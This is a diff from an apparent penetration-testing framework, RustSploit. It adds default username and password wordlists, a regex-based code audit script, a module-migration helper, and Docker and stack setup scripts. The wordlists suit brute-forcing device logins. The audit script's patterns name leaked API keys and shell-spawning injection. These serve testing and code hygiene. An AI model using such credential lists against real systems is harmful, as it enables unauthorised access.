@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 367 KiB

Binary file not shown.
+281
View File
@@ -0,0 +1,281 @@
#!/usr/bin/env bash
# audit-bad-patterns.sh — run the docs/BAD_PATTERNS.md regex matrix against
# every .rs file under src/.
#
# Usage:
# scripts/audit-bad-patterns.sh # full report to stdout
# scripts/audit-bad-patterns.sh --strict # exit non-zero on any A/B/C/L/M/N/O hit
# scripts/audit-bad-patterns.sh --section A # run only one section
# scripts/audit-bad-patterns.sh --files <list> # restrict to files listed
#
# Sections (from docs/BAD_PATTERNS.md):
# A: Panicking error handling
# B: Silent error swallowing
# C: Lint suppression
# D: Panic vectors (index/slice)
# E: Numeric / unsafe
# F: Async / blocking
# G: Logging
# H: HTTP layer
# I: Iterator glitches
# J: Style / secrets
# L: Crypto
# M: SQL & command injection
# N: UB / concurrency
# O: Performance
# P: API hygiene
set -u
ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT" || exit 1
STRICT=0
ONLY_SECTION=""
FILE_LIST=""
while [ $# -gt 0 ]; do
case "$1" in
--strict) STRICT=1; shift ;;
--section) ONLY_SECTION="$2"; shift 2 ;;
--files) FILE_LIST="$2"; shift 2 ;;
-h|--help) sed -n '/^# /p' "$0" | sed 's/^# \?//'; exit 0 ;;
*) echo "unknown arg: $1" >&2; exit 2 ;;
esac
done
if [ -n "$FILE_LIST" ]; then
if [ ! -f "$FILE_LIST" ]; then
echo "file list $FILE_LIST does not exist" >&2
exit 2
fi
ALL_RS=$(cat "$FILE_LIST")
else
ALL_RS=$(find src -name "*.rs" -type f)
fi
N_FILES=$(echo "$ALL_RS" | wc -l)
# ---- pattern arrays ------------------------------------------------------
A=( # Panicking error handling — explicit \(\) anchors so we don't match the
# value-providing _or family.
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)'
'\.parse\(\)\.unwrap\(\)' '\.parse::<[^>]+>\(\)\.unwrap\(\)'
'\.try_into\(\)\.unwrap\(\)'
'\.first\(\)\.unwrap\(\)' '\.last\(\)\.unwrap\(\)'
'\.next\(\)\.unwrap\(\)'
'\.iter\(\)\.[a-z_]+\([^)]*\)\.unwrap\(\)'
'\.chars\(\)\.next\(\)\.unwrap\(\)'
'\.split\([^)]*\)\.next\(\)\.unwrap\(\)'
'\.position\([^)]*\)\.unwrap\(\)'
'\.iter\(\)\.find\([^)]*\)\.unwrap\(\)'
'\.read_to_string\([^)]*\)\.unwrap\(\)'
'\.lock\(\)\.unwrap\(\)'
'\.expect_err\(' '\.unwrap_err\('
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
)
B=( # Silent error swallowing
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
)
C=( # Lint suppression
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
)
D=( # Panic vectors (index/slice)
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
'\.split_at\(' '\.chars\(\)\.nth\('
)
E=( # Numeric / unsafe
'\bas\s+u8\b' '\bas\s+i8\b'
'\bas\s+u16\b' '\bas\s+i16\b'
'\bas\s+u32\b' '\bas\s+i32\b'
'\bas\s+u64\b' '\bas\s+i64\b'
'\bas\s+usize\b' '\bas\s+isize\b'
'\bas\s+f32\b' '\bas\s+f64\b'
'\bas\s+\*const\b' '\bas\s+\*mut\b'
'\btransmute\(' '\bextern\s+"C"'
'\bunsafe\s*\{' '\bunsafe\s+fn\b'
)
F=( # Async / blocking
'std::thread::sleep' 'std::process::Command'
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
)
G=( # Logging
'\bdbg!\('
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
'\.context\(""\)' '\.context\("\?"\)'
)
H=( # HTTP layer
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
'\.send\(\)\.await\?[^.]' '\.text\(\)\.await\?[^.]'
'format!\("\{:\?\}", \w+\)\.contains\('
)
I=( # Iterator glitches
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
'\.zip\([^)]*\)\.unwrap'
)
J=( # Style / secrets
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
'String::from\(format!'
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
'XXXXXX|TODO|FIXME|HACK\b'
'Bearer\s+[A-Za-z0-9_.-]{40,}'
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
'Box<dyn'
)
L=( # Crypto
'\bmd5::compute\b|\bmd5::Md5\b'
'\bsha1::Sha1\b|use sha1::'
'\bdes::Des\b|\b3des\b|TripleDES'
'rand::thread_rng\(\)' 'rand::random\(\)'
'\bRC4\b|rc4::' 'aes_128_ecb|aes-128-ecb|Ecb'
)
M=( # Injection
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
'std::process::Command::new\("/bin/sh"\)'
'std::process::Command::new\("sh"\)'
'\.arg\("-c"\).*format!'
)
N=( # UB / concurrency
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
'std::mem::uninitialized' 'std::mem::zeroed'
'std::ptr::read' 'std::ptr::write'
'Result<\(\), String>' 'Result<.*,\s*String>'
)
O=( # Performance
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
'\.to_string\(\)\.as_str\(\)'
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
'Regex::new\(.*\)\.unwrap'
'Box::new\(.*Box::new'
)
P=( # API hygiene
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
)
declare -A SECTION_DESC
SECTION_DESC[A]="Panicking error handling"
SECTION_DESC[B]="Silent error swallowing"
SECTION_DESC[C]="Lint suppression"
SECTION_DESC[D]="Panic vectors (index/slice)"
SECTION_DESC[E]="Numeric / unsafe"
SECTION_DESC[F]="Async / blocking"
SECTION_DESC[G]="Logging"
SECTION_DESC[H]="HTTP layer"
SECTION_DESC[I]="Iterator glitches"
SECTION_DESC[J]="Style / secrets"
SECTION_DESC[L]="Crypto"
SECTION_DESC[M]="SQL & command injection"
SECTION_DESC[N]="UB / concurrency"
SECTION_DESC[O]="Performance"
SECTION_DESC[P]="API hygiene"
# Sections that should be hard zero in module code (strict mode)
STRICT_SECTIONS=(A B C L M N O)
GRAND_TOTAL=0
GRAND_PATTERNS=0
GRAND_PATTERNS_HIT=0
STRICT_HITS=0
run_section() {
local label="$1"; shift
local arr=("$@")
local total=0
local hit_pats=0
local pats=${#arr[@]}
GRAND_PATTERNS=$((GRAND_PATTERNS + pats))
declare -a lines
for p in "${arr[@]}"; do
local c
# Strip line+doc comments before counting so we don't flag matches in
# `// foo .unwrap() bar` or `/// .expect(...)`. We also filter `#[test]`
# / `#[cfg(test)]` blocks heuristically by skipping lines tagged with
# `// audit-allow:` (an explicit per-line waiver).
c=$(echo "$ALL_RS" | xargs grep -hE "$p" 2>/dev/null \
| grep -vE '^\s*//' \
| grep -vE '// audit-allow:' \
| wc -l)
if [ "$c" -gt 0 ]; then
total=$((total + c))
hit_pats=$((hit_pats + 1))
GRAND_PATTERNS_HIT=$((GRAND_PATTERNS_HIT + 1))
lines+=(" [$c] /$p/")
fi
done
GRAND_TOTAL=$((GRAND_TOTAL + total))
printf " %-2s %-32s : %5d hits across %2d/%-2d patterns\n" \
"$label" "${SECTION_DESC[$label]}" "$total" "$hit_pats" "$pats"
[ "$total" -gt 0 ] && printf "%s\n" "${lines[@]}"
# Strict accounting
local s
for s in "${STRICT_SECTIONS[@]}"; do
if [ "$s" = "$label" ]; then
STRICT_HITS=$((STRICT_HITS + total))
break
fi
done
}
echo "============================================================"
echo " RUSTSPLOIT BAD-PATTERN AUDIT"
echo " $N_FILES file(s) under audit"
echo "============================================================"
echo
if [ -z "$ONLY_SECTION" ]; then
SECTIONS=(A B C D E F G H I J L M N O P)
else
SECTIONS=("$ONLY_SECTION")
fi
for s in "${SECTIONS[@]}"; do
case "$s" in
A) run_section A "${A[@]}" ;;
B) run_section B "${B[@]}" ;;
C) run_section C "${C[@]}" ;;
D) run_section D "${D[@]}" ;;
E) run_section E "${E[@]}" ;;
F) run_section F "${F[@]}" ;;
G) run_section G "${G[@]}" ;;
H) run_section H "${H[@]}" ;;
I) run_section I "${I[@]}" ;;
J) run_section J "${J[@]}" ;;
L) run_section L "${L[@]}" ;;
M) run_section M "${M[@]}" ;;
N) run_section N "${N[@]}" ;;
O) run_section O "${O[@]}" ;;
P) run_section P "${P[@]}" ;;
*) echo "unknown section: $s" >&2; exit 2 ;;
esac
echo
done
echo "============================================================"
echo " TOTALS"
echo "============================================================"
echo " Patterns scanned : $GRAND_PATTERNS"
echo " Patterns with hits : $GRAND_PATTERNS_HIT"
echo " Total hit lines : $GRAND_TOTAL"
echo " Strict (A/B/C/L/M/N/O) : $STRICT_HITS"
if [ "$STRICT" = "1" ] && [ "$STRICT_HITS" -gt 0 ]; then
echo " RESULT : STRICT FAILURE — fix before merge"
exit 1
fi
echo " RESULT : informational only (use --strict to gate)"
+70
View File
@@ -0,0 +1,70 @@
#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
set -e
f="$1"
modname="$2"
if grep -q "use crate::module::{Finding" "$f"; then
echo " $f already migrated, skipping"
exit 0
fi
sed -i "/^use crate::module_info::/a use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};" "$f"
sed -i 's|^use anyhow::Result;|use anyhow::{Context, Result};|' "$f"
sed -i 's|^use anyhow::{Result};|use anyhow::{Context, Result};|' "$f"
sed -i "s|pub async fn check(_target: \&str) -> CheckResult {|pub async fn check(_ctx: \&ModuleCtx) -> CheckResult {|" "$f"
sed -i "s|pub async fn check(target: \&str) -> CheckResult {|pub async fn check(ctx: \&ModuleCtx) -> CheckResult {\n let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error(\"check expects a single-host target\".into()) };|" "$f"
sed -i "s|pub async fn run(_target: \&str) -> Result<()> {|pub async fn run(_ctx: \&ModuleCtx) -> Result<ModuleOutcome> {\n let mut outcome = ModuleOutcome::ok();|" "$f"
sed -i "s|pub async fn run(target: \&str) -> Result<()> {|pub async fn run(ctx: \&ModuleCtx) -> Result<ModuleOutcome> {\n let target = ctx.target.as_single().context(\"${modname} requires a single-host target\")?;\n let mut outcome = ModuleOutcome::ok();|" "$f"
python3 - "$f" << 'PYEOF'
import sys, re
fn = sys.argv[1]
txt = open(fn).read()
txt = re.sub(r'\bOk\(\(\)\)', 'Ok(outcome)', txt)
open(fn, "w").write(txt)
PYEOF
python3 - "$f" << 'PYEOF'
import sys, re
fn = sys.argv[1]
txt = open(fn).read()
pat = re.compile(
r'(\s*)crate::workspace::track_host\(&([a-z_]+),\s*None,\s*Some\("([^"]+)"\)\)\.await;\s*$',
re.MULTILINE,
)
def repl(m):
indent = m.group(1)
var = m.group(2)
label = m.group(3)
return (
indent + 'crate::workspace::track_host(&' + var + ', None, Some("' + label + '")).await;\n'
+ indent + 'outcome.findings.push(Finding {\n'
+ indent + ' target: ' + var + '.clone(),\n'
+ indent + ' kind: FindingKind::Note,\n'
+ indent + ' message: format!("' + label + ' detected at {}", ' + var + '),\n'
+ indent + ' data: Some(serde_json::json!({\n'
+ indent + ' "host": ' + var + ',\n'
+ indent + ' "label": "' + label + '",\n'
+ indent + ' })),\n'
+ indent + '});'
)
txt = pat.sub(repl, txt)
open(fn, "w").write(txt)
PYEOF
# Generic register macro update — handles any Category
python3 - "$f" << 'PYEOF'
import sys, re
fn = sys.argv[1]
txt = open(fn).read()
# Match: register_native_module!(... Category::X, "name"[, has_check]);
pat_check = re.compile(r'(crate::register_native_module!\(crate::module::Category::[A-Za-z]+,\s*"[^"]+"),\s*has_check\);')
txt = pat_check.sub(r'\1, native, has_check);', txt)
pat_nocheck = re.compile(r'(crate::register_native_module!\(crate::module::Category::[A-Za-z]+,\s*"[^"]+")\);')
def repl(m):
if ', native' in m.group(0):
return m.group(0)
return m.group(1) + ', native);'
txt = pat_nocheck.sub(repl, txt)
open(fn, "w").write(txt)
PYEOF
echo " $f migrated"
+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
+785
View File
@@ -0,0 +1,785 @@
#!/usr/bin/env python3
"""
RustSploit + ArcticAlopex bootstrap helper.
Discovers the two halves of the stack (Rust backend in `Cargo.toml`,
Next.js control plane in `arcticalopex/package.json`) starting from the
current directory or `--path <dir>`, then either runs the install / build
/ start steps automatically, or prints the exact commands so the user can
run them by hand.
Usage:
# auto-pilot the whole stack from the repo root
python3 scripts/setup_stack.py auto
# auto from anywhere, pointing at an explicit checkout
python3 scripts/setup_stack.py auto --path /home/me/rustsploit-main
# don't run anything; print the commands the auto path would issue
python3 scripts/setup_stack.py manual
# individual steps (composable)
python3 scripts/setup_stack.py doctor
python3 scripts/setup_stack.py docker up
python3 scripts/setup_stack.py rust build
python3 scripts/setup_stack.py rust run
python3 scripts/setup_stack.py arctic install
python3 scripts/setup_stack.py arctic env # generate .env w/ secrets
python3 scripts/setup_stack.py arctic migrate
python3 scripts/setup_stack.py arctic dev # foreground dev server
python3 scripts/setup_stack.py arctic build # production build
python3 scripts/setup_stack.py arctic start # serve the prod build
python3 scripts/setup_stack.py status # what's installed/running
The tool only uses Python's standard library. It runs on Linux and macOS;
Windows is best-effort (subprocess works, ANSI colors fall back to plain).
"""
from __future__ import annotations
import argparse
import os
import secrets
import shutil
import socket
import subprocess
import sys
from dataclasses import dataclass
from pathlib import Path
from typing import Iterable, Sequence
# ─── Terminal helpers ────────────────────────────────────────────────────
def _supports_color() -> bool:
if os.environ.get("NO_COLOR"):
return False
return sys.stdout.isatty()
_COLOR = _supports_color()
def _c(code: str, s: str) -> str:
return f"\033[{code}m{s}\033[0m" if _COLOR else s
def info(s: str) -> None:
print(_c("36", "[*]"), s)
def ok(s: str) -> None:
print(_c("32", "[+]"), s)
def warn(s: str) -> None:
print(_c("33", "[!]"), s)
def err(s: str) -> None:
print(_c("31", "[-]"), s, file=sys.stderr)
def head(s: str) -> None:
print()
print(_c("1;36", f"── {s} ──"))
# ─── Repo discovery ──────────────────────────────────────────────────────
@dataclass
class Repo:
root: Path
has_rust: bool
has_arctic: bool
has_compose: bool
@property
def arctic(self) -> Path:
return self.root / "arcticalopex"
@property
def cargo_toml(self) -> Path:
return self.root / "Cargo.toml"
@property
def compose(self) -> Path:
return self.arctic / "docker-compose.yml"
@property
def env_example(self) -> Path:
return self.arctic / ".env.example"
@property
def env_file(self) -> Path:
return self.arctic / ".env"
def discover(start: Path) -> Repo:
"""Walk up from `start` looking for the first dir that contains either
`Cargo.toml` or `arcticalopex/package.json`. We don't insist both are
present — the tool degrades to whichever half exists.
"""
start = start.resolve()
candidate = start
while True:
rust = (candidate / "Cargo.toml").is_file()
arctic = (candidate / "arcticalopex" / "package.json").is_file()
if rust or arctic:
return Repo(
root=candidate,
has_rust=rust,
has_arctic=arctic,
has_compose=(candidate / "arcticalopex" / "docker-compose.yml").is_file(),
)
if candidate.parent == candidate:
err(
"Could not find a RustSploit checkout — neither Cargo.toml nor "
"arcticalopex/package.json exists in the current directory or "
"any parent. Pass --path <dir> to point at a checkout."
)
sys.exit(2)
candidate = candidate.parent
# ─── Tool detection ──────────────────────────────────────────────────────
@dataclass
class Tool:
name: str
cmd: str
install_hint: str
needed_for: str
_TOOLS = [
Tool("rustc", "rustc", "https://rustup.rs/", "rust build/run"),
Tool("cargo", "cargo", "https://rustup.rs/", "rust build/run"),
Tool("node", "node", "https://nodejs.org/ (>=20)", "arctic install/dev/build"),
Tool("pnpm", "pnpm", "npm install -g pnpm", "arctic install/dev/build"),
Tool("docker", "docker", "https://docs.docker.com/engine/install/", "docker up"),
Tool("openssl", "openssl", "system package manager (used to mint MASTER_KEY)", "arctic env"),
]
def which(name: str) -> str | None:
return shutil.which(name)
def doctor(repo: Repo) -> int:
"""Report installed tools. Returns the count of *missing* tools."""
head("Doctor")
info(f"Repo root: {repo.root}")
info(f"Rust backend: {'present' if repo.has_rust else 'missing'}")
info(f"ArcticAlopex: {'present' if repo.has_arctic else 'missing'}")
info(f"docker-compose: {'present' if repo.has_compose else 'missing'}")
missing = 0
print()
for t in _TOOLS:
path = which(t.cmd)
if path:
ok(f"{t.name:<10}{path}")
else:
warn(f"{t.name:<10} — not found ({t.install_hint})")
missing += 1
return missing
# ─── Command runner ──────────────────────────────────────────────────────
def run(
cmd: Sequence[str] | str,
*,
cwd: Path | None = None,
env: dict[str, str] | None = None,
check: bool = True,
dry_run: bool = False,
) -> int:
"""Run a command, streaming its output to the parent terminal. If
`dry_run` is True we just print what *would* run and return 0."""
if isinstance(cmd, str):
rendered = cmd
cmd_list: list[str] | str = cmd
shell = True
else:
rendered = " ".join(_quote(c) for c in cmd)
cmd_list = list(cmd)
shell = False
cwd_str = f" (cwd: {cwd})" if cwd else ""
print(_c("90", f"$ {rendered}{cwd_str}"))
if dry_run:
return 0
proc = subprocess.run(cmd_list, cwd=cwd, env=env, shell=shell)
if check and proc.returncode != 0:
err(f"Command failed (exit {proc.returncode}): {rendered}")
sys.exit(proc.returncode)
return proc.returncode
def _quote(s: str) -> str:
if not s or any(c in s for c in " \t\"'$`\\!"):
return "'" + s.replace("'", "'\\''") + "'"
return s
# ─── Port checks ─────────────────────────────────────────────────────────
def _port_in_use(host: str, port: int) -> bool:
"""Best-effort `is anything listening on host:port`. Checks both IPv4
and IPv6 loopback when the caller passes 127.0.0.1, because Node and
Next dev servers commonly bind to [::1] only and the v4 probe would
otherwise report 'free' while the dev server is plainly running.
"""
candidates: list[tuple[int, str]] = []
if host == "127.0.0.1":
candidates.extend([(socket.AF_INET, "127.0.0.1"), (socket.AF_INET6, "::1")])
elif host == "::1":
candidates.append((socket.AF_INET6, "::1"))
else:
try:
for info in socket.getaddrinfo(host, port, type=socket.SOCK_STREAM):
candidates.append((info[0], info[4][0]))
except socket.gaierror:
return False
for family, addr in candidates:
try:
with socket.socket(family, socket.SOCK_STREAM) as s:
s.settimeout(0.5)
if s.connect_ex((addr, port)) == 0:
return True
except OSError:
continue
return False
def check_ports(ports: Iterable[tuple[str, int, str]]) -> None:
"""Warn (don't fail) when a port we care about is already taken."""
for host, port, label in ports:
if _port_in_use(host, port):
warn(f"{label} port {host}:{port} is already in use")
